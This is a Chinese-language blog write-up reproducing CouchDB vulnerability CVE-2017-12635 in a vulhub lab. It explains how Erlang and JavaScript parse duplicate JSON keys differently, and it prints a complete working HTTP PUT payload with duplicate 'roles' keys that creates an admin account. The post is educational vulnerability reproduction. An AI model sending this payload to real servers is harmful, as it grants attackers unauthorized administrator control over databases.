Couchdb 垂直權限繞過漏洞(CVE-2017-12635)漏洞復現


couchdb簡介:

  • Apache CouchDB是一個開源的NoSQL數據庫,專注於易用性和成為“完全擁抱web的數據庫”。它是一個使用JSON作為數據存儲格式,javascript作為查詢語言,MapReduce和HTTP作為API的NoSQL數據庫。 

漏洞原理:

  • CVE-2017-12635:Erlang和JavaScript,對JSON解析方式的不同,導致語句執行產生差異性。這個漏洞可以讓任意用戶創建管理員,屬於垂直權限繞過漏洞。
  • 舉例:
    Erlang:
    
    > jiffy:decode("{"a":"1", "a":"2"}").
    
    {[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
    JavaScript:
    
    > JSON.parse("{"a":"1", "a": "2"}")
    
    {a: "2"}
  • 在定義一對鍵值對時,Eralang解析器將存儲兩個值;javascript只存儲第二個值。但jiffy實現時,getter函數只返回第一個值。這里涉及的函數參考:https://www.anquanke.com/post/id/87256https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635

影響版本:

  • 小於 1.7.0 以及 小於 2.1.1

復現:

  • 構造創建用戶的數據包
  •  org.couchdb,user:$name  與name:$name是對應的,此時我們沒有admin權限,所以會報錯forbidden。
  • 繞過role驗證:
  • payload:
    •   
      PUT /_users/org.couchdb.user:vulhub HTTP/1.1
      Host: 192.168.183.134:5984
      Accept: */*
      Accept-Language: en
      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
      Connection: close
      Content-Type: application/json
      Content-Length: 110
      
      {
        "type": "user",
        "name": "vulhub",
        "roles": ["_admin"],
        "roles":[],
        "password": "vulhub111"
      }

一些小思考:

  • 雖然分析說,只讀取第一個鍵值,按理來說,第二個值是任意的應該不影響,但我測試發現,只有為空時,poc才正確操作。

  • 且在創建一個成功后,再重復發包,也會報錯409,
  • 修改已創建的密碼也不行

 

總結:

  這個還是比較好利用,但是請別借此破壞信息安全,僅為學習。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM